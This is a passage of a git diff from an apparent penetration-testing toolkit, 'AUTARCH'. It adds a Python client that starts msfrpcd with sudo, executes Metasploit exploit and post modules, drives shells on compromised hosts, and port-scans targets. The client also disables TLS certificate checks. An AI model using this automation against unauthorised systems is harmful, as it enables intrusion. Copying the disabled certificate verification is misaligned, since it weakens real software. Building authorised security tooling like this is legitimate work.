'__builtins__': __builtins__, + } + exec(compile(source, str(path), 'exec'), namespace) + return namespace + + +def read_metadata(path: Path) -> Optional[dict]: + """ + Read only the metadata from an .autarch file without decrypting. + Returns None if the file is invalid. + """ + try: + data = path.read_bytes() + if data[:4] != MAGIC: + return None + offset = 5 + SALT_LEN + IV_LEN + HASH_LEN + meta_len = struct.unpack(' bool: + """Check if connected to MSF RPC.""" + return self._connected and self.token is not None + + def _decode_bytes(self, obj): + """Recursively decode bytes to strings in msgpack responses. + + Args: + obj: Object to decode (dict, list, bytes, or other). + + Returns: + Decoded object with all bytes converted to strings. + """ + if isinstance(obj, bytes): + return obj.decode('utf-8', errors='replace') + elif isinstance(obj, dict): + return { + self._decode_bytes(k): self._decode_bytes(v) + for k, v in obj.items() + } + elif isinstance(obj, list): + return [self._decode_bytes(item) for item in obj] + elif isinstance(obj, tuple): + return tuple(self._decode_bytes(item) for item in obj) + else: + return obj + + def _request(self, method: str, params: List = None) -> Dict[str, Any]: + """Make an RPC request to Metasploit. + + Args: + method: RPC method name. + params: Method parameters. + + Returns: + Response dictionary. + + Raises: + MSFError: If request fails. + """ + check_msgpack() # Ensure msgpack is available + + params = params or [] + + # Add token to authenticated requests + if self.token and method != "auth.login": + params = [self.token] + params + + # Build request + request_data = msgpack.packb([method] + params) + + try: + if self.use_ssl: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + conn = http.client.HTTPSConnection( + self.host, self.port, context=context, timeout=30 + ) + else: + conn = http.client.HTTPConnection(self.host, self.port, timeout=30) + + headers = { + "Content-Type": "binary/message-pack", + "Content-Length": str(len(request_data)) + } + + conn.request("POST", "/api/", request_data, headers) + response = conn.getresponse() + + if response.status != 200: + raise MSFError(f"HTTP error: {response.status} {response.reason}") + + response_data = response.read() + result = msgpack.unpackb(response_data, raw=False, strict_map_key=False) + + # Recursively normalize bytes to strings throughout the response + result = self._decode_bytes(result) + + if isinstance(result, dict) and result.get("error"): + raise MSFError(f"MSF error: {result.get('error_message', 'Unknown error')}") + + return result + + except ConnectionRefusedError: + raise MSFError(f"Connection refused to {self.host}:{self.port}. Is msfrpcd running?") + except Exception as e: + if isinstance(e, MSFError): + raise + raise MSFError(f"RPC request failed: {e}") + finally: + try: + conn.close() + except: + pass + + def connect(self, password: str = None) -> bool: + """Connect and authenticate to MSF RPC. + + Args: + password: RPC password (uses stored password if not provided). + + Returns: + True if connected successfully. + + Raises: + MSFError: If connection fails. + """ + password = password or self.password + if not password: + raise MSFError("No password provided for MSF RPC") + + try: + result = self._request("auth.login", [self.username, password]) + + if result.get("result") == "success": + self.token = result.get("token") + self._connected = True + return True + else: + raise MSFError("Authentication failed") + + except MSFError: + self._connected = False + self.token = None + raise + + def disconnect(self): + """Disconnect from MSF RPC.""" + if self.token: + try: + self._request("auth.logout", [self.token]) + except: + pass + self.token = None + self._connected = False + + def get_version(self) -> Dict[str, str]: + """Get Metasploit version info. + + Returns: + Dictionary with version information. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + return self._request("core.version") + + def list_modules(self, module_type: str = None) -> List[str]: + """List available modules. + + Args: + module_type: Filter by type (exploit, auxiliary, post, payload, encoder, nop). + + Returns: + List of module names. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + # Map module types to their API method names + # The MSF RPC API uses module.exploits, module.auxiliary, etc. + type_to_method = { + "exploit": "module.exploits", + "auxiliary": "module.auxiliary", + "post": "module.post", + "payload": "module.payloads", + "encoder": "module.encoders", + "nop": "module.nops", + } + + if module_type: + method = type_to_method.get(module_type) + if not method: + raise MSFError(f"Unknown module type: {module_type}") + result = self._request(method) + return result.get("modules", []) + else: + # Get all module types + all_modules = [] + for mtype in ["exploit", "auxiliary", "post", "payload"]: + try: + method = type_to_method.get(mtype) + result = self._request(method) + modules = result.get("modules", []) + all_modules.extend([f"{mtype}/{m}" for m in modules]) + except: + pass + return all_modules + + def search_modules(self, query: str) -> List[Dict[str, Any]]: + """Search for modules matching a query. + + Args: + query: Search query string. + + Returns: + List of matching modules. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("module.search", [query]) + return result if isinstance(result, list) else [] + + def get_module_info(self, module_type: str, module_name: str) -> MSFModule: + """Get detailed information about a module. + + Args: + module_type: Module type (exploit, auxiliary, etc.). + module_name: Module name. + + Returns: + MSFModule with module details. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("module.info", [module_type, module_name]) + + return MSFModule( + type=module_type, + name=result.get("name", module_name), + fullname=f"{module_type}/{module_name}", + description=result.get("description", ""), + rank=result.get("rank", ""), + author=result.get("author", []), + references=result.get("references", []) + ) + + def get_module_options(self, module_type: str, module_name: str) -> Dict[str, Any]: + """Get available options for a module. + + Args: + module_type: Module type. + module_name: Module name. + + Returns: + Dictionary of options and their details. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + return self._request("module.options", [module_type, module_name]) + + def execute_module( + self, + module_type: str, + module_name: str, + options: Dict[str, Any] = None + ) -> Dict[str, Any]: + """Execute a module with given options. + + Args: + module_type: Module type. + module_name: Module name. + options: Module options dictionary. + + Returns: + Execution result with job_id. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + options = options or {} + return self._request("module.execute", [module_type, module_name, options]) + + def list_jobs(self) -> Dict[str, Any]: + """List running jobs. + + Returns: + Dictionary of job IDs and info. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + return self._request("job.list") + + def get_job_info(self, job_id: str) -> Dict[str, Any]: + """Get information about a job. + + Args: + job_id: Job ID. + + Returns: + Job information dictionary. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + return self._request("job.info", [job_id]) + + def stop_job(self, job_id: str) -> bool: + """Stop a running job. + + Args: + job_id: Job ID to stop. + + Returns: + True if stopped successfully. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("job.stop", [job_id]) + return result.get("result") == "success" + + def list_sessions(self) -> Dict[str, Any]: + """List active sessions. + + Returns: + Dictionary of session IDs and info. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + return self._request("session.list") + + def session_shell_read(self, session_id: str) -> str: + """Read output from a shell session. + + Args: + session_id: Session ID. + + Returns: + Shell output string. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("session.shell_read", [session_id]) + return result.get("data", "") + + def session_shell_write(self, session_id: str, command: str) -> bool: + """Write a command to a shell session. + + Args: + session_id: Session ID. + command: Command to execute. + + Returns: + True if written successfully. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("session.shell_write", [session_id, command + "\n"]) + return result.get("write_count", 0) > 0 + + def session_stop(self, session_id: str) -> bool: + """Stop/kill a session. + + Args: + session_id: Session ID to stop. + + Returns: + True if stopped successfully. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("session.stop", [session_id]) + return result.get("result") == "success" + + def run_console_command(self, command: str) -> str: + """Run a command in MSF console. + + Args: + command: Console command to run. + + Returns: + Command output. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + # Create console + console = self._request("console.create") + console_id = console.get("id") + + try: + # Write command + self._request("console.write", [console_id, command + "\n"]) + + # Read output (with retries for async commands) + import time + output = "" + for _ in range(10): + time.sleep(0.5) + result = self._request("console.read", [console_id]) + output += result.get("data", "") + if not result.get("busy", False): + break + + return output + + finally: + # Destroy console + try: + self._request("console.destroy", [console_id]) + except: + pass + + +class MSFManager: + """High-level manager for Metasploit integration.""" + + def __init__(self): + self.config = get_config() + self.rpc: Optional[MetasploitRPC] = None + self._server_process: Optional[subprocess.Popen] = None + + def _ensure_config_section(self): + """Ensure MSF config section exists.""" + if not self.config.config.has_section('msf'): + self.config.config['msf'] = { + 'host': '127.0.0.1', + 'port': '55553', + 'username': 'msf', + 'password': '', + 'ssl': 'true', + 'autoconnect': 'true' + } + self.config.save() + + def detect_server(self) -> Tuple[bool, Optional[str]]: + """Detect if msfrpcd is already running. + + Returns: + Tuple of (is_running, pid or None) + """ + settings = self.get_settings() + host = settings['host'] + port = settings['port'] + + # First try socket connection to check if port is open + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(2) + result = sock.connect_ex((host, port)) + sock.close() + + if result == 0: + # Port is open, try to find the process + pid = self._find_msfrpcd_pid() + return True, pid + except Exception: + pass + + # Also check for running msfrpcd process even if port check failed + pid = self._find_msfrpcd_pid() + if pid: + return True, pid + + return False, None + + def _find_msfrpcd_pid(self) -> Optional[str]: + """Find the PID of running msfrpcd process. + + Works on both Linux (pgrep, /proc) and Windows (tasklist, wmic). + + Returns: + PID as string, or None if not found + """ + import sys + is_win = sys.platform == 'win32' + + if is_win: + # Windows: use tasklist to find ruby/msfrpcd processes + for search_term in ['msfrpcd', 'thin', 'ruby']: + try: + result = subprocess.run( + ['tasklist', '/FI', f'IMAGENAME eq {search_term}*', + '/FO', 'CSV', '/NH'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0: + for line in result.stdout.strip().split('\n'): + line = line.strip().strip('"') + if line and 'INFO:' not in line: + parts = line.split('","') + if len(parts) >= 2: + return parts[1].strip('"') + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # Fallback: wmic for command-line matching + try: + result = subprocess.run( + ['wmic', 'process', 'where', + "commandline like '%msfrpcd%' or commandline like '%thin%msf%'", + 'get', 'processid'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0: + for line in result.stdout.strip().split('\n'): + line = line.strip() + if line.isdigit(): + return line + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + else: + # Linux: use pgrep + try: + result = subprocess.run( + ['pgrep', '-f', 'msfrpcd'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0 and result.stdout.strip(): + pids = result.stdout.strip().split('\n') + return pids[0] if pids else None + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # Fallback: check /proc on Linux + try: + for pid_dir in os.listdir('/proc'): + if pid_dir.isdigit(): + try: + cmdline_path = f'/proc/{pid_dir}/cmdline' + with open(cmdline_path, 'r') as f: + cmdline = f.read() + if 'msfrpcd' in cmdline: + return pid_dir + except (IOError, PermissionError): + continue + except Exception: + pass + + return None + + def kill_server(self, use_sudo: bool = True) -> bool: + """Kill any running msfrpcd server. + + Args: + use_sudo: Use sudo for killing (needed if server was started with sudo). + Ignored on Windows. + + Returns: + True if server was killed or no server was running + """ + import sys + is_win = sys.platform == 'win32' + + is_running, pid = self.detect_server() + + if not is_running: + return True + + # Disconnect our client first if connected + if self.is_connected: + self.disconnect() + + if is_win: + # Windows: use taskkill + if pid: + try: + subprocess.run( + ['taskkill', '/F', '/PID', str(pid)], + capture_output=True, timeout=10 + ) + time.sleep(1) + return True + except Exception as e: + print(f"{Colors.RED}[X] Failed to kill msfrpcd (PID {pid}): {e}{Colors.RESET}") + + # Fallback: kill by image name + for name in ['msfrpcd', 'ruby', 'thin']: + try: + subprocess.run( + ['taskkill', '/F', '/IM', f'{name}.exe'], + capture_output=True, timeout=5 + ) + except Exception: + pass + time.sleep(1) + return True + else: + # Linux: kill by PID or pkill + if pid: + try: + os.kill(int(pid), signal.SIGTERM) + time.sleep(1) + try: + os.kill(int(pid), 0) + os.kill(int(pid), signal.SIGKILL) + time.sleep(0.5) + except ProcessLookupError: + pass + return True + except PermissionError: + if use_sudo: + try: + subprocess.run(['sudo', 'kill', '-TERM', str(pid)], timeout=5) + time.sleep(1) + try: + os.kill(int(pid), 0) + subprocess.run(['sudo', 'kill', '-KILL', str(pid)], timeout=5) + except ProcessLookupError: + pass + return True + except Exception as e: + print(f"{Colors.RED}[X] Failed to kill msfrpcd with sudo (PID {pid}): {e}{Colors.RESET}") + return False + else: + print(f"{Colors.RED}[X] Failed to kill msfrpcd (PID {pid}): Permission denied{Colors.RESET}") + return False + except ProcessLookupError: + return True + + # Try pkill as fallback + try: + if use_sudo: + subprocess.run(['sudo', 'pkill', '-f', 'msfrpcd'], timeout=5) + else: + subprocess.run(['pkill', '-f', 'msfrpcd'], timeout=5) + time.sleep(1) + return True + except Exception: + pass + + return False + + def _find_msf_install(self) -> Optional[str]: + """Find the Metasploit Framework installation directory. + + Returns: + Path to the MSF install directory, or None if not found. + """ + import sys + is_win = sys.platform == 'win32' + + if is_win: + # Common Windows Metasploit install paths + candidates = [ + os.path.join(os.environ.get('ProgramFiles', r'C:\Program Files'), 'Metasploit'), + os.path.join(os.environ.get('ProgramFiles(x86)', r'C:\Program Files (x86)'), 'Metasploit'), + r'C:\metasploit-framework', + os.path.join(os.environ.get('LOCALAPPDATA', ''), 'Metasploit'), + os.path.join(os.environ.get('ProgramFiles', ''), 'Rapid7', 'Metasploit'), + ] + for c in candidates: + if c and os.path.isdir(c): + return c + # Also check with -framework suffix + cf = c + '-framework' if not c.endswith('-framework') else c + if cf and os.path.isdir(cf): + return cf + else: + candidates = [ + '/opt/metasploit-framework', + '/usr/share/metasploit-framework', + '/opt/metasploit', + os.path.expanduser('~/.msf4'), + ] + for c in candidates: + if os.path.isdir(c): + return c + + return None + + def start_server(self, username: str, password: str, + host: str = "127.0.0.1", port: int = 55553, + use_ssl: bool = True, use_sudo: bool = True) -> bool: + """Start the msfrpcd server with given credentials. + + Works on both Linux and Windows. + + Args: + username: RPC username + password: RPC password + host: Host to bind to + port: Port to listen on + use_ssl: Whether to use SSL + use_sudo: Run msfrpcd with sudo (Linux only; ignored on Windows) + + Returns: + True if server started successfully + """ + import sys + is_win = sys.platform == 'win32' + + # Find msfrpcd binary + from core.paths import find_tool + msfrpcd_bin = find_tool('msfrpcd') + + if not msfrpcd_bin and is_win: + # Windows: look for msfrpcd.bat in common locations + msf_dir = self._find_msf_install() + if msf_dir: + for candidate in [ + os.path.join(msf_dir, 'bin', 'msfrpcd.bat'), + os.path.join(msf_dir, 'bin', 'msfrpcd'), + os.path.join(msf_dir, 'msfrpcd.bat'), + os.path.join(msf_dir, 'embedded', 'bin', 'ruby.exe'), + ]: + if os.path.isfile(candidate): + msfrpcd_bin = candidate + break + + if not msfrpcd_bin: + # Try PATH with .bat extension + for ext in ['.bat', '.cmd', '.exe', '']: + for p in os.environ.get('PATH', '').split(os.pathsep): + candidate = os.path.join(p, f'msfrpcd{ext}') + if os.path.isfile(candidate): + msfrpcd_bin = candidate + break + if msfrpcd_bin: + break + + if not msfrpcd_bin: + msfrpcd_bin = 'msfrpcd' # Last resort: hope it's on PATH + + # Build command + cmd = [ + msfrpcd_bin, + '-U', username, + '-P', password, + '-a', host, + '-p', str(port), + '-f' # Run in foreground (we'll background it ourselves) + ] + + if not use_ssl: + cmd.append('-S') # Disable SSL + + # On Windows, if it's a .bat file, run through cmd + if is_win and msfrpcd_bin.endswith('.bat'): + cmd = ['cmd', '/c'] + cmd + + # Prepend sudo on Linux if requested + if not is_win and use_sudo: + cmd = ['sudo'] + cmd + + try: + # Start msfrpcd in background + popen_kwargs = { + 'stdout': subprocess.DEVNULL, + 'stderr': subprocess.DEVNULL, + } + if is_win: + popen_kwargs['creationflags'] = ( + subprocess.CREATE_NEW_PROCESS_GROUP | + subprocess.CREATE_NO_WINDOW + ) + else: + popen_kwargs['start_new_session'] = True + + self._server_process = subprocess.Popen(cmd, **popen_kwargs) + + # Wait for server to start (check port becomes available) + max_wait = 30 + start_time = time.time() + port_open = False + + while time.time() - start_time < max_wait: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(1) + result = sock.connect_ex((host, port)) + sock.close() + + if result == 0: + port_open = True + break + except Exception: + pass + + time.sleep(0.5) + + if not port_open: + print(f"{Colors.YELLOW}[!] Server started but port not responding after {max_wait}s{Colors.RESET}") + return False + + # Port is open, but server needs time to initialize RPC layer + print(f"{Colors.DIM} Waiting for RPC initialization...{Colors.RESET}") + time.sleep(5) + + # Try a test connection to verify server is really ready + for attempt in range(10): + try: + test_rpc = MetasploitRPC( + host=host, port=port, username=username, + password=password, ssl=use_ssl + ) + test_rpc.connect(password) + test_rpc.disconnect() + return True + except MSFError: + if attempt < 9: + time.sleep(2) + continue + except Exception: + if attempt < 9: + time.sleep(2) + continue + + print(f"{Colors.YELLOW}[!] Server running but authentication not ready - try connecting manually{Colors.RESET}") + return True + + except FileNotFoundError: + print(f"{Colors.RED}[X] msfrpcd not found. Is Metasploit installed?{Colors.RESET}") + return False + except Exception as e: + print(f"{Colors.RED}[X] Failed to start msfrpcd: {e}{Colors.RESET}") + return False + + def get_settings(self) -> Dict[str, Any]: + """Get current MSF settings.""" + self._ensure_config_section() + return { + 'host': self.config.get('msf', 'host', '127.0.0.1'), + 'port': self.config.get_int('msf', 'port', 55553), + 'username': self.config.get('msf', 'username', 'msf'), + 'password': self.config.get('msf', 'password', ''), + 'ssl': self.config.get_bool('msf', 'ssl', True), + 'autoconnect': self.config.get_bool('msf', 'autoconnect', True) + } + + def save_settings(self, host: str, port: int, username: str, password: str, use_ssl: bool): + """Save MSF settings.""" + self._ensure_config_section() + self.config.set('msf', 'host', host) + self.config.set('msf', 'port', port) + self.config.set('msf', 'username', username) + self.config.set('msf', 'password', password) + self.config.set('msf', 'ssl', str(use_ssl).lower()) + self.config.save() + + def connect(self, password: str = None) -> MetasploitRPC: + """Connect to Metasploit RPC. + + Args: + password: RPC password (uses saved if not provided). + + Returns: + Connected MetasploitRPC instance. + """ + settings = self.get_settings() + password = password or settings['password'] + + self.rpc = MetasploitRPC( + host=settings['host'], + port=settings['port'], + username=settings['username'], + password=password, + ssl=settings['ssl'] + ) + + self.rpc.connect(password) + return self.rpc + + def disconnect(self): + """Disconnect from Metasploit RPC.""" + if self.rpc: + self.rpc.disconnect() + self.rpc = None + + @property + def is_connected(self) -> bool: + """Check if connected to MSF.""" + return self.rpc is not None and self.rpc.is_connected + + def autoconnect(self) -> bool: + """Perform automatic MSF server detection and connection on startup. + + Flow: + 1. Scan for existing msfrpcd server + 2. If found: kill it, ask for new credentials, restart with new creds + 3. If not found: ask for credentials, start server + 4. Connect to the server + + Returns: + True if successfully connected to MSF + """ + settings = self.get_settings() + + print(f"\n{Colors.CYAN}[*] Metasploit Auto-Connect{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + + # Step 1: Detect existing server + print(f"\n{Colors.WHITE} Scanning for existing MSF RPC server...{Colors.RESET}") + is_running, pid = self.detect_server() + + if is_running: + print(f"{Colors.YELLOW} [!] Found existing msfrpcd server{Colors.RESET}", end="") + if pid: + print(f" (PID: {pid})") + else: + print() + + # Kill existing server (use sudo in case it was started with sudo) + print(f"{Colors.WHITE} Stopping existing server...{Colors.RESET}") + if not self.kill_server(use_sudo=True): + print(f"{Colors.RED} [X] Failed to stop existing server{Colors.RESET}") + print(f"{Colors.DIM} You may need to manually run: sudo pkill -f msfrpcd{Colors.RESET}") + return False + print(f"{Colors.GREEN} [+] Server stopped{Colors.RESET}") + else: + print(f"{Colors.DIM} No existing server detected{Colors.RESET}") + + # Step 2: Ask for credentials + print(f"\n{Colors.BOLD} Configure MSF RPC Credentials{Colors.RESET}") + print(f"{Colors.DIM} These credentials will be used for the new server{Colors.RESET}\n") + + try: + default_user = settings.get('username', 'msf') + default_host = settings.get('host', '127.0.0.1') + default_port = settings.get('port', 55553) + + username = input(f" Username [{default_user}]: ").strip() + if not username: + username = default_user + + password = input(f" Password (required): ").strip() + if not password: + print(f"{Colors.RED} [X] Password is required{Colors.RESET}") + return False + + host_input = input(f" Host [{default_host}]: ").strip() + host = host_input if host_input else default_host + + port_input = input(f" Port [{default_port}]: ").strip() + try: + port = int(port_input) if port_input else default_port + except ValueError: + port = default_port + + ssl_input = input(f" Use SSL (y/n) [y]: ").strip().lower() + use_ssl = ssl_input != 'n' + + # Ask about sudo - default to yes for full module support + print(f"\n{Colors.DIM} Note: Running with sudo enables raw socket modules (SYN scan, etc.){Colors.RESET}") + sudo_input = input(f" Run with sudo (y/n) [y]: ").strip().lower() + use_sudo = sudo_input != 'n' + + except (EOFError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW} [!] Setup cancelled{Colors.RESET}") + return False + + # Save settings + self.save_settings(host, port, username, password, use_ssl) + + # Step 3: Start server + if use_sudo: + print(f"\n{Colors.WHITE} Starting msfrpcd server with sudo...{Colors.RESET}") + print(f"{Colors.DIM} (You may be prompted for your password){Colors.RESET}") + else: + print(f"\n{Colors.WHITE} Starting msfrpcd server...{Colors.RESET}") + + if not self.start_server(username, password, host, port, use_ssl, use_sudo): + print(f"{Colors.RED} [X] Failed to start msfrpcd server{Colors.RESET}") + return False + + print(f"{Colors.GREEN} [+] Server started on {host}:{port}{Colors.RESET}") + + # Step 4: Connect + print(f"{Colors.WHITE} Connecting to server...{Colors.RESET}") + try: + self.connect(password) + version = self.rpc.get_version() + print(f"{Colors.GREEN} [+] Connected to Metasploit {version.get('version', 'Unknown')}{Colors.RESET}") + return True + except MSFError as e: + print(f"{Colors.RED} [X] Connection failed: {e}{Colors.RESET}") + return False + + def set_autoconnect(self, enabled: bool): + """Enable or disable autoconnect on startup.""" + self._ensure_config_section() + self.config.set('msf', 'autoconnect', str(enabled).lower()) + self.config.save() + + +# Global MSF manager instance +_msf_manager: Optional[MSFManager] = None + + +def get_msf_manager() -> MSFManager: + """Get the global MSF manager instance.""" + global _msf_manager + if _msf_manager is None: + _msf_manager = MSFManager() + return _msf_manager + + +def msf_startup_autoconnect(skip_if_disabled: bool = True) -> bool: + """Perform MSF autoconnect during application startup. + + This is the main entry point for the autoconnect feature. + Call this during application initialization. + + Args: + skip_if_disabled: If True, skip autoconnect if disabled in config + + Returns: + True if connected successfully, False otherwise + """ + msf = get_msf_manager() + settings = msf.get_settings() + + # Check if autoconnect is enabled + if skip_if_disabled and not settings.get('autoconnect', True): + print(f"{Colors.DIM} MSF autoconnect disabled in settings{Colors.RESET}") + return False + + # Check if msgpack is available + if not MSGPACK_AVAILABLE: + print(f"{Colors.YELLOW}[!] msgpack not installed - MSF features disabled{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install msgpack{Colors.RESET}") + return False + + return msf.autoconnect() + + +def msf_quick_connect(username: str = None, password: str = None, + host: str = "127.0.0.1", port: int = 55553, + use_ssl: bool = True, kill_existing: bool = True, + use_sudo: bool = True) -> bool: + """Quick non-interactive MSF server setup and connection. + + Useful for scripting or when credentials are already known. + + Args: + username: RPC username (default: msf) + password: RPC password (required) + host: Host address + port: RPC port + use_ssl: Use SSL connection + kill_existing: Kill any existing msfrpcd server first + use_sudo: Run msfrpcd with sudo (required for raw socket modules) + + Returns: + True if connected successfully + """ + if not password: + print(f"{Colors.RED}[X] Password required for msf_quick_connect{Colors.RESET}") + return False + + if not MSGPACK_AVAILABLE: + print(f"{Colors.RED}[X] msgpack not installed{Colors.RESET}") + return False + + username = username or "msf" + msf = get_msf_manager() + + # Kill existing if requested + if kill_existing: + is_running, _ = msf.detect_server() + if is_running: + print(f"{Colors.WHITE}[*] Stopping existing msfrpcd...{Colors.RESET}") + msf.kill_server(use_sudo=use_sudo) + + # Save and start + msf.save_settings(host, port, username, password, use_ssl) + + print(f"{Colors.WHITE}[*] Starting msfrpcd{' with sudo' if use_sudo else ''}...{Colors.RESET}") + if not msf.start_server(username, password, host, port, use_ssl, use_sudo): + return False + + print(f"{Colors.WHITE}[*] Connecting...{Colors.RESET}") + try: + msf.connect(password) + print(f"{Colors.GREEN}[+] Connected to Metasploit{Colors.RESET}") + return True + except MSFError as e: + print(f"{Colors.RED}[X] Connection failed: {e}{Colors.RESET}") + return False diff --git a/core/msf_interface.py b/core/msf_interface.py new file mode 100644 index 0000000..62a9a65 --- /dev/null +++ b/core/msf_interface.py @@ -0,0 +1,846 @@ +""" +AUTARCH Metasploit Interface +Centralized high-level interface for all Metasploit operations. + +This module provides a clean API for executing MSF modules, handling +connection management, output parsing, and error recovery. + +Usage: + from core.msf_interface import get_msf_interface, MSFResult + + msf = get_msf_interface() + result = msf.run_module('auxiliary/scanner/portscan/tcp', {'RHOSTS': '192.168.1.1'}) + + if result.success: + for finding in result.findings: + print(finding) +""" + +import re +import time +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Tuple +from enum import Enum + +# Import the low-level MSF components +from core.msf import get_msf_manager, MSFError, MSFManager +from core.banner import Colors + + +class MSFStatus(Enum): + """Status of an MSF operation.""" + SUCCESS = "success" + PARTIAL = "partial" # Some results but also errors + FAILED = "failed" + AUTH_ERROR = "auth_error" + CONNECTION_ERROR = "connection_error" + TIMEOUT = "timeout" + NOT_CONNECTED = "not_connected" + + +@dataclass +class MSFResult: + """Result from an MSF module execution.""" + status: MSFStatus + module: str + target: str = "" + + # Raw and cleaned output + raw_output: str = "" + cleaned_output: str = "" + + # Parsed results + findings: List[str] = field(default_factory=list) # [+] lines + info: List[str] = field(default_factory=list) # [*] lines + errors: List[str] = field(default_factory=list) # [-] lines + warnings: List[str] = field(default_factory=list) # [!] lines + + # For scan results + open_ports: List[Dict] = field(default_factory=list) # [{port, service, state}] + services: List[Dict] = field(default_factory=list) # [{name, version, info}] + + # Metadata + execution_time: float = 0.0 + error_count: int = 0 + + @property + def success(self) -> bool: + return self.status in (MSFStatus.SUCCESS, MSFStatus.PARTIAL) + + def get_summary(self) -> str: + """Get a brief summary of the result.""" + if self.status == MSFStatus.SUCCESS: + return f"Success: {len(self.findings)} findings" + elif self.status == MSFStatus.PARTIAL: + return f"Partial: {len(self.findings)} findings, {self.error_count} errors" + elif self.status == MSFStatus.AUTH_ERROR: + return "Authentication token expired" + elif self.status == MSFStatus.CONNECTION_ERROR: + return "Connection to MSF failed" + elif self.status == MSFStatus.TIMEOUT: + return "Module execution timed out" + else: + return f"Failed: {self.errors[0] if self.errors else 'Unknown error'}" + + +class MSFInterface: + """High-level interface for Metasploit operations.""" + + # Patterns to filter from output (banner noise, Easter eggs, etc.) + SKIP_PATTERNS = [ + 'metasploit', '=[ ', '+ -- --=[', 'Documentation:', + 'Rapid7', 'Open Source', 'MAGIC WORD', 'PERMISSION DENIED', + 'access security', 'access:', 'Ready...', 'Alpha E', + 'Version 4.0', 'System Security Interface', 'Metasploit Park', + 'exploits -', 'auxiliary -', 'payloads', 'encoders -', + 'evasion', 'nops -', 'post -', 'msf6', 'msf5', 'msf >', + ] + + # Patterns indicating specific result types + PORT_PATTERN = re.compile( + r'(\d{1,5})/(tcp|udp)\s+(open|closed|filtered)?\s*(\S+)?', + re.IGNORECASE + ) + SERVICE_PATTERN = re.compile( + r'\[\+\].*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*[-:]\s*(.+)', + re.IGNORECASE + ) + VERSION_PATTERN = re.compile( + r'(?:version|running|server)[\s:]+([^\n\r]+)', + re.IGNORECASE + ) + + def __init__(self): + self._manager: Optional[MSFManager] = None + self._last_error: Optional[str] = None + + @property + def manager(self) -> MSFManager: + """Get or create the MSF manager.""" + if self._manager is None: + self._manager = get_msf_manager() + return self._manager + + @property + def is_connected(self) -> bool: + """Check if connected to MSF RPC.""" + return self.manager.is_connected + + @property + def last_error(self) -> Optional[str]: + """Get the last error message.""" + return self._last_error + + def ensure_connected(self, password: str = None, auto_prompt: bool = True) -> Tuple[bool, str]: + """Ensure we have a valid connection to MSF RPC. + + Args: + password: Optional password to use for connection. + auto_prompt: If True, prompt for password if needed. + + Returns: + Tuple of (success, message). + """ + # Check if already connected + if self.is_connected: + # Verify the connection is actually valid with a test request + try: + self.manager.rpc.get_version() + return True, "Connected" + except Exception as e: + error_str = str(e) + if 'Invalid Authentication Token' in error_str: + # Token expired, need to reconnect + pass + else: + self._last_error = error_str + return False, f"Connection test failed: {error_str}" + + # Need to connect or reconnect + try: + # Disconnect existing stale connection + if self.manager.rpc: + try: + self.manager.rpc.disconnect() + except: + pass + + # Get password from settings or parameter + settings = self.manager.get_settings() + connect_password = password or settings.get('password') + + if not connect_password and auto_prompt: + print(f"{Colors.YELLOW}[!] MSF RPC password required{Colors.RESET}") + connect_password = input(f" Password: ").strip() + + if not connect_password: + self._last_error = "No password provided" + return False, "No password provided" + + # Connect + self.manager.connect(connect_password) + return True, "Connected successfully" + + except MSFError as e: + self._last_error = str(e) + return False, f"MSF Error: {e}" + except Exception as e: + self._last_error = str(e) + return False, f"Connection failed: {e}" + + def _run_console_command(self, commands: str, timeout: int = 120) -> Tuple[str, Optional[str]]: + """Execute commands via MSF console and capture output. + + Args: + commands: Newline-separated commands to run. + timeout: Maximum wait time in seconds. + + Returns: + Tuple of (output, error_message). + """ + try: + # Create console + console = self.manager.rpc._request("console.create") + console_id = console.get("id") + + if not console_id: + return "", "Failed to create console" + + try: + # Wait for console to initialize and consume banner + time.sleep(2) + self.manager.rpc._request("console.read", [console_id]) + + # Send commands one at a time + for cmd in commands.strip().split('\n'): + cmd = cmd.strip() + if cmd: + self.manager.rpc._request("console.write", [console_id, cmd + "\n"]) + time.sleep(0.3) + + # Collect output + output = "" + waited = 0 + idle_count = 0 + + while waited < timeout: + time.sleep(1) + waited += 1 + + result = self.manager.rpc._request("console.read", [console_id]) + new_data = result.get("data", "") + + if new_data: + output += new_data + idle_count = 0 + else: + idle_count += 1 + + # Stop if not busy and idle for 3+ seconds + if not result.get("busy", False) and idle_count >= 3: + break + + # Check for timeout + if waited >= timeout: + return output, "Execution timed out" + + return output, None + + finally: + # Clean up console + try: + self.manager.rpc._request("console.destroy", [console_id]) + except: + pass + + except Exception as e: + error_str = str(e) + if 'Invalid Authentication Token' in error_str: + return "", "AUTH_ERROR" + return "", f"Console error: {e}" + + def _clean_output(self, raw_output: str) -> str: + """Remove banner noise and clean up MSF output. + + Args: + raw_output: Raw console output. + + Returns: + Cleaned output string. + """ + lines = [] + for 